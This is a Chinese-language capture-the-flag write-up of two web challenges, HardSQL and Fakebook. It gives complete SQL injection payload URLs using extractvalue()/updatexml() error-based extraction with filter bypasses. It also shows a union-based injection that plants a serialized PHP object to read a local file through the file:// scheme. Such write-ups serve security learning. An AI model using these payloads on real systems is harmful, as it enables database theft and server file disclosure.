[极客大挑战 2019]HardSQL
这道题的知识点是extractvalue()和updatexml()报错注入
https://blog.csdn.net/zpy1998zpy/article/details/80631036
extractvalue()函数接受两个参数,我们主要在第二个参数上做文章。看下面的这个查询数据库的payload,我们传递第二个参数为concat(0x7e,(select(database()))
,0x7e是’~'的十六进制表示,concat用于拼接字符串。因为extractvalue()接受的xml路径无法正确识别~
符号,所以会报错返回无法正确识别的内容是什么,我们就查到了数据库名称。
http://46ff9b07-044c-4c14-aa3f-481558b25c1c.node3.buuoj.cn/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
因为还过滤了空格和‘=’,所以这里用了‘^’来代替or,其实还可以用or()的形式:
http://d2394fc7-1f8a-49fc-ac90-ca340ae45b80.node3.buuoj.cn/check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(database())))))%23
用‘like’代替‘=’
http://46ff9b07-044c-4c14-aa3f-481558b25c1c.node3.buuoj.cn/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
http://46ff9b07-044c-4c14-aa3f-481558b25c1c.node3.buuoj.cn/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
extractvalue()最多只能显示出32位,所以要爆flag得分两部分
http://46ff9b07-044c-4c14-aa3f-481558b25c1c.node3.buuoj.cn/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
http://46ff9b07-044c-4c14-aa3f-481558b25c1c.node3.buuoj.cn/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
updatexml()与extractvalue()类似,只是需要传递三个参数,我们在第二个参数传递我们的payload:check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)%23
[网鼎杯 2018]Fakebook
这道题我觉得还是比较有意思的
先join一个账号,点击username可以进去,在URL里发现了注入点,view.php?no=1
,下面还显示了我输入的blog网址
试一下order by 5和order by 4,order by 5报错了,说明只有四列
再union select 1,2,3,4 #看一下回显点,返回no hack,我猜是union被过滤了。那正好试一下上题的extractvalue(),这里把0x7e换成了%27~%27是因为0x被过滤了。
http://a98ad307-fdcc-4574-821d-974f02de4b51.node3.buuoj.cn/view.php?no=1 and extractvalue(1,concat(%27~%27,(select(database()))))%23
http://a98ad307-fdcc-4574-821d-974f02de4b51.node3.buuoj.cn/view.php?no=1 and extractvalue(1,concat(%27~%27,(select group_concat(table_name) from(information_schema.tables)where(table_schema='fakebook'))))%23
http://a98ad307-fdcc-4574-821d-974f02de4b51.node3.buuoj.cn/view.php?no=1 and extractvalue(1,concat(%27~%27,(select group_concat(column_name) from(information_schema.columns)where(table_name='users'))))%23
就和上一题一样一步步爆出来有data,USER,CU三个项,那就分别看看它们是什么
data里有一个反序列化的字符串,存的是你一开始输入的个人信息,但因为这个字符串太长了,所以要用substr每次查看32位拼接起来很麻烦。
http://a98ad307-fdcc-4574-821d-974f02de4b51.node3.buuoj.cn/view.php?no=1 and extractvalue(1,concat(%27~%27,substr((select data from fakebook.users),30,32)))%23
在网上找了一下可以直接?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+
,甚至可以?no=-1 union/**/select 1,(select group_concat(data) from users),3,4--+
,因为是union select
被过滤了
爆出来data是O:8:"UserInfo":3:{s:4:"name";s:3:"zqr";s:3:"age";i:23;s:4:"blog";s:21:"https://www.baidu.com";}
(USER和CU都是没有内容的列,毕竟之前也测过了一共就4列)
到这里我就卡住了,看了一下师傅的wp发现robots.txt可以查看,还有一个flag.php(扫描网站目录是一个好习惯)
获得网页源代码的备份:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
我们用的是这里的get函数,抓取URL并且访问
接下来我们把得到的data里的blog替换成flag.php的地址,这里是从报错回显的/var/www/html/view.php
推测出flag.php在/var/www/html/flag.php
(也是很神奇了) 用file协议访问文件,反序列化字符串是O:8:"UserInfo":3:{s:4:"name";s:3:"zqr";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
最终的payload是
http://3bf19833-8cff-4fd6-b03f-94e78e9549fa.node3.buuoj.cn/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"zqr";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
因为data是第四个数据所以反序列化的字符串放在第四个,查看网页源代码就能得到flag,要base64解码一下